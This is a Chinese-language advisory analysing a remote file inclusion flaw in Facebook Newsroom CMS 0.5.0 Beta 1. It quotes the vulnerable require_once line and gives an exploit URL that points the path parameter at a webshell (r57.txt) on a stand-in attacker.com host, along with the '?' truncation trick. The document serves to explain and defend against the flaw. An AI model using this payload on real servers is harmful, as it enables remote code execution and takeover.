Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability

Facebook Newsroom 应用远程文件包含漏洞深度解析

本报告旨在系统性地剖析一个在Facebook Newsroom应用程序中发现的历史性安全漏洞。所有技术细节均基于已公开的研究资料，旨在为网络安全从业者与研究人员提供专业的技术分析与参考。

漏洞核心信息

发现者: Ciph3r
风险等级: 高危
漏洞类型: 远程文件包含

相关应用的历史下载地址曾为：http://sourceforge.net/project/showfiles.php?group_id=221515

技术原理与漏洞根源

该漏洞的根本原因在于应用程序对用户可控变量缺乏有效的安全校验。关键问题出现在以下代码行：

require_once ($path.'/classes/feedStories.class.php');

分析可见，$path 变量被直接拼接至文件包含路径中。当此变量的值完全由外部用户输入控制，且未经过严格的净化与验证时，便构成了严重的安全缺陷。

这允许攻击者通过精心构造的请求参数，诱使应用程序加载并执行托管在远程服务器上的恶意脚本文件。此类远程文件包含漏洞的危害性极高，通常可导致目标服务器被完全攻陷，造成数据泄露或系统失陷。

漏洞利用方式与攻击向量

该漏洞的利用方式在当时较为直接。攻击者可以构造如下格式的URL请求：

http://www.[目标域名].com/path/includes/home.php?path=[远程恶意文件地址?]

举例来说，攻击者若将包含恶意代码的文本文件（例如常见的webshell文件r57.txt）置于其控制的服务器上，便可通过将path参数值设置为http://attacker.com/r57.txt?来尝试触发漏洞。此处参数末尾的问号“?”是一个关键技巧，常用于截断原定后续拼接的路径字符串，确保远程文件能够被服务器正确解析为可执行代码。

安全警示：虽然此类RFI漏洞的利用成功与否受服务器配置（如allow_url_include设置）影响，但其潜在的破坏力巨大。这一案例再次验证了网络安全开发的核心准则：必须将所有外部输入数据视为不可信来源，并实施强制性的、严格的数据验证与过滤机制，这是防范文件包含攻击的关键所在。